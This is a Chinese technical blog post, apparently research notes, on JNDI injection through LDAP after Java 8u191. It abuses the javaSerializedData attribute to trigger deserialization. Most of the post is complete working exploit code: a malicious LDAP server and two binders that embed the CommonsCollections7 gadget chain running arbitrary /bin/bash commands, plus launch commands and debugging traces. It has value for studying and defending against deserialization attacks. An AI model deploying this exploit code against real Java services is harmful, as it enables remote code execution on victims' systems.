Java SE 8u191什么意思,8u191之后的JNDI注入(LDAP)

阅读:

439

「声明: 文中涉及到的相关漏洞均为官方已经公开并修复的漏洞,涉及到的安全技术也仅用于企业安全建设和安全对抗研究。本文仅限业内技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。」

前言

本篇是[45]最后一小节的学习笔记,讲述8u191之后如何利用LDAP进行JNDI注入。简单点说,利用”javaSerializedData”属性,参[44]。

KINGX的方案是自己实现一个恶意LDAP服务,直接操作”javaSerializedData”属性。我对此方案有个新贡献,探索了正经程序员视角下的一种更易理解的攻击方案,使用标准LDAP服务,无需直接操作”javaSerializedData”属性,估计之前没人这么干过。

简版LDAP Server

Simple all-in-one LDAP server (wrapped ApacheDS)

$ vi jndi.ldifdn: o=anything,dc=evil,dc=com

objectclass: top

objectclass: organization

o: anything

这是我瞎写的,不懂LDAP,不知道该怎么弄一个最简.ldif文件,至少这个能用。

java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif

8u191之后的JNDI注入(LDAP)

参[45]。这个技术方案相当于有一方在ObjectInputStream.readObject(),另一方在ObjectOutputStream.writeObject(),后者是攻击者可控的,前者没有缺省过滤器。此时只受限于受害者一侧CLASSPATH中是否存在Gadget链的依赖库,对JDK没有版本要求。

参[74],后面的PoC用到了如下库:

unboundid-ldapsdk-3.1.1.jar

commons-collections-3.1.jar

0) VulnerableClient.java/*

* javac -encoding GBK -g VulnerableClient.java

*/

import javax.naming.*;

public class VulnerableClient

{

public static void main ( String[] argv ) throws Exception

{

String name = argv[0];

Context ctx = new InitialContext();

ctx.lookup( name );

}

}

这是受漏洞影响的JNDI客户端。

1) EvilLDAPServer.java

参[45],这就是:

我按自己的编程习惯稍做修改,如果Gadget链有变,改getObject()即可。/*

* javac -encoding GBK -g -cp "commons-collections-3.1.jar:unboundid-ldapsdk-3.1.1.jar" EvilLDAPServer.java

*/

import java.io.*;

import java.util.*;

import java.lang.reflect.*;

import java.net.*;

import javax.net.ServerSocketFactory;

import javax.net.SocketFactory;

import javax.net.ssl.SSLSocketFactory;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.*;

import org.apache.commons.collections.map.LazyMap;

import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;

import com.unboundid.ldap.listener.InMemoryListenerConfig;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;

import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;

import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;

import com.unboundid.ldap.sdk.Entry;

import com.unboundid.ldap.sdk.LDAPResult;

import com.unboundid.ldap.sdk.ResultCode;

public class EvilLDAPServer

{

/*

* ysoserial/CommonsCollections7

*/

@SuppressWarnings("unchecked")

private static Object getObject ( String cmd ) throws Exception

{

Transformer[] tarray = new Transformer[]

{

new ConstantTransformer( Runtime.class ),

new InvokerTransformer

(

"getMethod",

new Class[]

{

String.class,

Class[].class

},

new Object[]

{

"getRuntime",

new Class[0]

}

),

new InvokerTransformer

(

"invoke",

new Class[]

{

Object.class,

Object[].class

},

new Object[]

{

null,

new Object[0]

}

),

new InvokerTransformer

(

"exec",

new Class[]

{

String[].class

},

new Object[]

{

new String[]

{

"/bin/bash",

"-c",

cmd

}

}

)

};

Transformer tchain = new ChainedTransformer( new Transformer[0] );

Map normalMap_0 = new HashMap();

Map normalMap_1 = new HashMap();

Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain );

Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain );

lazyMap_0.put( "scz", "same" );

lazyMap_1.put( "tDz", "same" );

Hashtable ht = new Hashtable();

ht.put( lazyMap_0, "value_0" );

ht.put( lazyMap_1, "value_1" );

lazyMap_1.remove( "scz" );

Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" );

f.setAccessible( true );

f.set( tchain, tarray );

return( ht );

}

/*

* com.sun.jndi.ldap.Obj.serializeObject

*/

private static byte[] serializeObject ( Object obj ) throws Exception

{

ByteArrayOutputStream bos = new ByteArrayOutputStream();

ObjectOutputStream oos = new ObjectOutputStream( bos );

oos.writeObject( obj );

return bos.toByteArray();

}

private static class OperationInterceptor extends InMemoryOperationInterceptor

{

String cmd;

public OperationInterceptor ( String cmd )

{

this.cmd = cmd;

}

@Override

public void processSearchResult ( InMemoryInterceptedSearchResult result )

{

String base = result.getRequest().getBaseDN();

Entry e = new Entry( base );

try

{

sendResult( result, base, e );

}

catch ( Exception ex )

{

ex.printStackTrace();

}

}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception

{

e.addAttribute( "javaClassName", "foo" );

e.addAttribute( "javaSerializedData", serializeObject( getObject( this.cmd ) ) );

result.sendSearchEntry( e );

result.setResult( new LDAPResult( 0, ResultCode.SUCCESS ) );

}

}

private static void MiniLDAPServer ( String addr, int port, String cmd ) throws Exception

{

InMemoryDirectoryServerConfig conf = new InMemoryDirectoryServerConfig( "dc=evil,dc=com" );

conf.setListenerConfigs

(

new InMemoryListenerConfig

(

"listen",

InetAddress.getByName( addr ),

Integer.valueOf( port ),

ServerSocketFactory.getDefault(),

SocketFactory.getDefault(),

( SSLSocketFactory )SSLSocketFactory.getDefault()

)

);

conf.addInMemoryOperationInterceptor( new OperationInterceptor( cmd ) );

InMemoryDirectoryServer ds = new InMemoryDirectoryServer( conf );

ds.startListening();

}

public static void main ( String[] argv ) throws Exception

{

String addr = argv[0];

int port = Integer.parseInt( argv[1] );

String cmd = argv[2];

MiniLDAPServer( addr, port, cmd );

}

}

假设目录结构是:

.

|

+—test1

| EvilLDAPServer.class

| EvilLDAPServer$OperationInterceptor.class

| unboundid-ldapsdk-3.1.1.jar

| commons-collections-3.1.jar

|

—test2

VulnerableClient.class

commons-collections-3.1.jar

在test1目录执行:

java \

-cp “commons-collections-3.1.jar:unboundid-ldapsdk-3.1.1.jar:.” \

EvilLDAPServer 192.168.65.23 10388 “/bin/touch /tmp/scz_is_here”

在test2目录执行:

java \

-cp “commons-collections-3.1.jar:.” \

-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \

-Djava.naming.provider.url=ldap://192.168.65.23:10388/dc=evil,dc=com \

VulnerableClient any

2) EvilServer5.java

EvilLDAPServer自己实现一个恶意LDAP服务,直接操作”javaSerializedData”属性。实际上有更容易理解的攻击方案,就用标准LDAP服务,只不过绑定恶意Object,背后的原理跟EvilLDAPServer一样。/*

* javac -encoding GBK -g -cp "commons-collections-3.1.jar" EvilServer5.java

*/

import java.io.*;

import java.util.*;

import java.lang.reflect.*;

import javax.naming.*;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.*;

import org.apache.commons.collections.map.LazyMap;

public class EvilServer5

{

/*

* ysoserial/CommonsCollections7

*/

@SuppressWarnings("unchecked")

private static Object getObject ( String cmd ) throws Exception

{

Transformer[] tarray = new Transformer[]

{

new ConstantTransformer( Runtime.class ),

new InvokerTransformer

(

"getMethod",

new Class[]

{

String.class,

Class[].class

},

new Object[]

{

"getRuntime",

new Class[0]

}

),

new InvokerTransformer

(

"invoke",

new Class[]

{

Object.class,

Object[].class

},

new Object[]

{

null,

new Object[0]

}

),

new InvokerTransformer

(

"exec",

new Class[]

{

String[].class

},

new Object[]

{

new String[]

{

"/bin/bash",

"-c",

cmd

}

}

)

};

Transformer tchain = new ChainedTransformer( new Transformer[0] );

Map normalMap_0 = new HashMap();

Map normalMap_1 = new HashMap();

Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain );

Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain );

lazyMap_0.put( "scz", "same" );

lazyMap_1.put( "tDz", "same" );

Hashtable ht = new Hashtable();

ht.put( lazyMap_0, "value_0" );

ht.put( lazyMap_1, "value_1" );

lazyMap_1.remove( "scz" );

Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" );

f.setAccessible( true );

f.set( tchain, tarray );

return( ht );

}

public static void main ( String[] argv ) throws Exception

{

String name = argv[0];

String cmd = argv[1];

Object obj = getObject( cmd );

Context ctx = new InitialContext();

ctx.rebind( name, obj );

System.in.read();

}

}

用LDAP Server做周知端口时,rebind()的内部实现就是将Object序列化后置于”javaSerializedData”属性中,lookup()则对”javaSerializedData”属性的值进行反序列化,就这么设计的。所以像EvilServer5.java这样编程,entry中天然会出现”javaSerializedData”属性,不需要奇技淫巧。

即使用javax.naming.directory.InitialDirContext,且ctx.rebind()时第三形参指定”javaSerializedData”属性,将来也会在com.sun.jndi.ldap.Obj.encodeObject()中用rebind()第二形参的序列化数据覆盖之。

不过,神奇的是,我碰上过这个错误提示:

More than one value has been provided for the single-valued attribute: javaSerializedData

动态调试发现有两个”javaSerializedData”属性出现,分别对应rebind()第二、三形参。正是调试该错误时发现com.sun.jndi.ldap.Obj.encodeObject(),从而找到EvilServer5的最简实现方式。可惜当时在调试分析的中间阶段,没有保留那个出错的测试用例,待我搞清楚来龙去脉后,再也无法复现同样的错误场景,遗憾。

2.0) 测试

假设目录结构是:

.

|

+—test0

| jndi.ldif

| ldap-server.jar

|

+—test1

| EvilServer5.class

| commons-collections-3.1.jar

|

—test2

VulnerableClient.class

commons-collections-3.1.jar

在test0目录执行:

java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif

在test1目录执行:

java \

-cp “commons-collections-3.1.jar:.” \

-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \

-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \

EvilServer5 cn=any “/bin/touch /tmp/scz_is_here”

在test2目录执行:

java \

-cp “commons-collections-3.1.jar:.” \

-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \

-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \

VulnerableClient cn=any

2.1) 调试ctx.rebind()

调试EvilServer5:

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \

-cp “commons-collections-3.1.jar:.” \

-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \

-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \

EvilServer5 cn=any “/bin/touch /tmp/scz_is_here”

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in com.sun.jndi.ldap.Obj.encodeObject

stop at com.sun.jndi.ldap.Obj:173

[1] com.sun.jndi.ldap.Obj.encodeObject (Obj.java:173), pc = 271

[2] com.sun.jndi.ldap.Obj.determineBindAttrs (Obj.java:597), pc = 181

[3] com.sun.jndi.ldap.LdapCtx.c_bind (LdapCtx.java:411), pc = 45

[4] com.sun.jndi.ldap.LdapCtx.c_rebind (LdapCtx.java:500), pc = 39

[5] com.sun.jndi.ldap.LdapCtx.c_rebind (LdapCtx.java:464), pc = 5

[6] com.sun.jndi.toolkit.ctx.ComponentContext.p_rebind (ComponentContext.java:631), pc = 62

[7] com.sun.jndi.toolkit.ctx.PartialCompositeContext.rebind (PartialCompositeContext.java:223), pc = 29

[8] com.sun.jndi.toolkit.ctx.PartialCompositeContext.rebind (PartialCompositeContext.java:214), pc = 10

[9] javax.naming.InitialContext.rebind (InitialContext.java:433), pc = 7

[10] EvilServer5.main (EvilServer5.java:92), pc = 26

2.1.1) 简化版调用关系

参看:InitialContext.rebind // 8u232

LdapCtx.c_rebind

LdapCtx.c_rebind // LdapCtx:464

LdapCtx.c_bind // LdapCtx:500

Obj.determineBindAttrs // LdapCtx:411

Obj.encodeObject // Obj:597

// convert the supplied object into LDAP attributes

attrs.put(new BasicAttribute(JAVA_ATTRIBUTES[SERIALIZED_DATA],serializeObject(obj)))

// Obj:173

// 设置"javaSerializedData"属性

attrs = addRdnAttributes(...) // LdapCtx:416

answer = clnt.add(entry, reqCtls) // LdapCtx:419

// com.sun.jndi.ldap.LdapClient.add()

如果ctx.rebind()碰上如下错误提示:

a) More than one value has been provided for the single-valued attribute: javaSerializedData

b) can only bind Referenceable, Serializable, DirContext

动态调试这个函数:

com.sun.jndi.ldap.Obj.encodeObject()

2.1.2) 相关源码/*

* com.sun.jndi.ldap.Obj.encodeObject

*/

/**

* Encode an object in LDAP attributes.

* Supports binding Referenceable or Reference, Serializable,

* and DirContext.

*

* If the object supports the Referenceable interface then encode

* the reference to the object. See encodeReference() for details.

*

* If the object is serializable, it is stored as follows:

* javaClassName

* value: Object.getClass();

* javaSerializedData

* value: serialized form of Object (in binary form).

* javaTypeName

* value: getTypeNames(Object.getClass());

*/

private static Attributes encodeObject(char separator,

Object obj, Attributes attrs,

Attribute objectClass, boolean cloned)

throws NamingException {

boolean structural =

(objectClass.size() == 0 ||

(objectClass.size() == 1 && objectClass.contains("top")));

if (structural) {

objectClass.add(JAVA_OBJECT_CLASSES[STRUCTURAL]);

}

// References

if (obj instanceof Referenceable) {

objectClass.add(JAVA_OBJECT_CLASSES[BASE_OBJECT]);

objectClass.add(JAVA_OBJECT_CLASSES[REF_OBJECT]);

if (!cloned) {

attrs = (Attributes)attrs.clone();

}

attrs.put(objectClass);

return (encodeReference(separator,

((Referenceable)obj).getReference(),

attrs, obj));

} else if (obj instanceof Reference) {

objectClass.add(JAVA_OBJECT_CLASSES[BASE_OBJECT]);

objectClass.add(JAVA_OBJECT_CLASSES[REF_OBJECT]);

if (!cloned) {

attrs = (Attributes)attrs.clone();

}

attrs.put(objectClass);

return (encodeReference(separator, (Reference)obj, attrs, null));

// Serializable Object

} else if (obj instanceof java.io.Serializable) {

objectClass.add(JAVA_OBJECT_CLASSES[BASE_OBJECT]);

if (!(objectClass.contains(JAVA_OBJECT_CLASSES[MAR_OBJECT]) ||

objectClass.contains(JAVA_OBJECT_CLASSES_LOWER[MAR_OBJECT]))) {

objectClass.add(JAVA_OBJECT_CLASSES[SER_OBJECT]);

}

if (!cloned) {

attrs = (Attributes)attrs.clone();

}

attrs.put(objectClass);

/*

* 173行,设置"javaSerializedData"属性

*/

attrs.put(new BasicAttribute(JAVA_ATTRIBUTES[SERIALIZED_DATA],

serializeObject(obj)));

if (attrs.get(JAVA_ATTRIBUTES[CLASSNAME]) == null) {

attrs.put(JAVA_ATTRIBUTES[CLASSNAME],

obj.getClass().getName());

}

if (attrs.get(JAVA_ATTRIBUTES[TYPENAME]) == null) {

Attribute tAttr =

LdapCtxFactory.createTypeNameAttr(obj.getClass());

if (tAttr != null) {

attrs.put(tAttr);

}

}

// DirContext Object

} else if (obj instanceof DirContext) {

// do nothing

} else {

/*

* 190行

*/

throw new IllegalArgumentException(

"can only bind Referenceable, Serializable, DirContext");

}

// System.err.println(attrs);

return attrs;

}

2.2) 调试ctx.lookup()

调试VulnerableClient:

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \

-cp “commons-collections-3.1.jar:.” \

-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \

-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \

VulnerableClient cn=any

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in java.lang.Runtime.exec(java.lang.String[])

[1] java.lang.Runtime.exec (Runtime.java:485), pc = 0

[2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method)

[3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100

[4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6

[5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56

[6] org.apache.commons.collections.functors.InvokerTransformer.transform (InvokerTransformer.java:125), pc = 30

[7] org.apache.commons.collections.functors.ChainedTransformer.transform (ChainedTransformer.java:122), pc = 12

[8] org.apache.commons.collections.map.LazyMap.get (LazyMap.java:151), pc = 18

[9] java.util.AbstractMap.equals (AbstractMap.java:495), pc = 118

[10] org.apache.commons.collections.map.AbstractMapDecorator.equals (AbstractMapDecorator.java:129), pc = 12

[11] java.util.Hashtable.reconstitutionPut (Hashtable.java:1,241), pc = 55

[12] java.util.Hashtable.readObject (Hashtable.java:1,215), pc = 228

[13] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method)

[14] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100

[15] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6

[16] java.lang.reflect.Method.invoke (Method.java:498), pc = 56

[17] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24

[18] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119

[19] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183

[20] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401

[21] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19

[22] com.sun.jndi.ldap.Obj.deserializeObject (Obj.java:531), pc = 38

[23] com.sun.jndi.ldap.Obj.decodeObject (Obj.java:239), pc = 52

[24] com.sun.jndi.ldap.LdapCtx.c_lookup (LdapCtx.java:1,051), pc = 164

[25] com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup (ComponentContext.java:542), pc = 81

[26] com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup (PartialCompositeContext.java:177), pc = 26

[27] com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup (PartialCompositeContext.java:166), pc = 9

[28] javax.naming.InitialContext.lookup (InitialContext.java:417), pc = 6

[29] VulnerableClient.main (VulnerableClient.java:12), pc = 14

2.2.1) 简化版调用关系

参看:InitialContext.lookup // 8u232

LdapCtx.c_lookup

LdapResult answer = doSearchOnce() // LdapCtx:1027

// 向LDAP Server查询

attrs = entry.attributes // LdapCtx:1047

// 取entry的所有属性

if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null)

// LdapCtx:1049

// 检查entry的"javaClassName"属性

// 本例中是"java.util.Hashtable"

Obj.decodeObject // LdapCtx:1051

attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])

// Obj:237

// 取"javaSerializedData"属性

Obj.deserializeObject // Obj:239

// 对byte[]进行反序列化

ObjectInputStream.readObject // Obj:531

Hashtable.readObject // ysoserial/CommonsCollections7

Hashtable.reconstitutionPut

AbstractMapDecorator.equals

AbstractMap.equals

LazyMap.get // 此处开始LazyMap利用链

ChainedTransformer.transform

InvokerTransformer.transform

Runtime.exec

这种攻击方案相当于受害者调ObjectInputStream.readObject()反序列化攻击者可控数据,没有缺省过滤器。此时,只要求受害者一侧有Gadget链依赖库,没有其他限制。

3) EvilServer6.java

参[39],Alvaro Munoz在议题中给了点代码片断:System.out.println("Poisoning LDAP user");

BasicAttribute mod1 = new BasicAttribute("javaCodebase",attackerURL));

BasicAttribute mod2 = new BasicAttribute("javaClassName","DeserPayload"));

BasicAttribute mod3 = new BasicAttribute("javaSerializedData", serializedBytes));

ModificationItem[] mods = new ModificationItem[3];

mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1);

mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2);

mods[2] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3);

ctx.modifyAttributes("uid=target,ou=People,dc=example,dc=com", mods);

他调用的是:

javax.naming.directory.InitialDirContext.modifyAttributes(String,ModificationItem[])

我觉得他绕了大弯路,完全没必要,EvilServer5.java就是最简形式。不过我好奇心很重,基于他这个片断写了EvilServer6.java。/*

* javac -encoding GBK -g -cp "commons-collections-3.1.jar" EvilServer6.java

*/

import java.io.*;

import java.util.*;

import java.lang.reflect.*;

import javax.naming.directory.*;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.*;

import org.apache.commons.collections.map.LazyMap;

public class EvilServer6

{

/*

* ysoserial/CommonsCollections7

*/

@SuppressWarnings("unchecked")

private static Object getObject ( String cmd ) throws Exception

{

Transformer[] tarray = new Transformer[]

{

new ConstantTransformer( Runtime.class ),

new InvokerTransformer

(

"getMethod",

new Class[]

{

String.class,

Class[].class

},

new Object[]

{

"getRuntime",

new Class[0]

}

),

new InvokerTransformer

(

"invoke",

new Class[]

{

Object.class,

Object[].class

},

new Object[]

{

null,

new Object[0]

}

),

new InvokerTransformer

(

"exec",

new Class[]

{

String[].class

},

new Object[]

{

new String[]

{

"/bin/bash",

"-c",

cmd

}

}

)

};

Transformer tchain = new ChainedTransformer( new Transformer[0] );

Map normalMap_0 = new HashMap();

Map normalMap_1 = new HashMap();

Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain );

Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain );

lazyMap_0.put( "scz", "same" );

lazyMap_1.put( "tDz", "same" );

Hashtable ht = new Hashtable();

ht.put( lazyMap_0, "value_0" );

ht.put( lazyMap_1, "value_1" );

lazyMap_1.remove( "scz" );

Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" );

f.setAccessible( true );

f.set( tchain, tarray );

return( ht );

}

/*

* com.sun.jndi.ldap.Obj.serializeObject

*/

private static byte[] serializeObject ( Object obj ) throws Exception

{

ByteArrayOutputStream bos = new ByteArrayOutputStream();

ObjectOutputStream oos = new ObjectOutputStream( bos );

oos.writeObject( obj );

return bos.toByteArray();

}

public static void main ( String[] argv ) throws Exception

{

String name = argv[0];

String cmd = argv[1];

Object obj = getObject( cmd );

String sth = "";

Attribute attr = new BasicAttribute( "javaSerializedData", serializeObject( obj ) );

ModificationItem[] mods = new ModificationItem[1];

mods[0] = new ModificationItem( DirContext.REPLACE_ATTRIBUTE, attr );

DirContext ctx = new InitialDirContext();

/*

* com.sun.jndi.ldap.Obj.encodeObject(Obj.java:190)

*

* can only bind Referenceable, Serializable, DirContext

*/

ctx.rebind( name, sth, null );

ctx.modifyAttributes( name, mods );

System.in.read();

}

}

EvilServer6的网络通信比EvilServer5多,modifyAttributes()会产生新的网络通信。

假设目录结构是:

.

|

+—test0

| jndi.ldif

| ldap-server.jar

|

+—test1

| EvilServer6.class

| commons-collections-3.1.jar

|

—test2

VulnerableClient.class

commons-collections-3.1.jar

在test0目录执行:

java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif

在test1目录执行:

java \

-cp “commons-collections-3.1.jar:.” \

-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \

-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \

EvilServer6 cn=any “/bin/touch /tmp/scz_is_here”

在test2目录执行:

java \

-cp “commons-collections-3.1.jar:.” \

-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \

-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \

VulnerableClient cn=any

参考资源

[39] A Journey From JNDI LDAP Manipulation To RCE – Alvaro Munoz, Oleksandr Mirosh [2016-08-02]

[44] LDAP Directories

(提到javaSerializedData)

[45] 如何绕过高版本JDK的限制进行JNDI注入利用 – KINGX [2019-06-03]

[74]

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值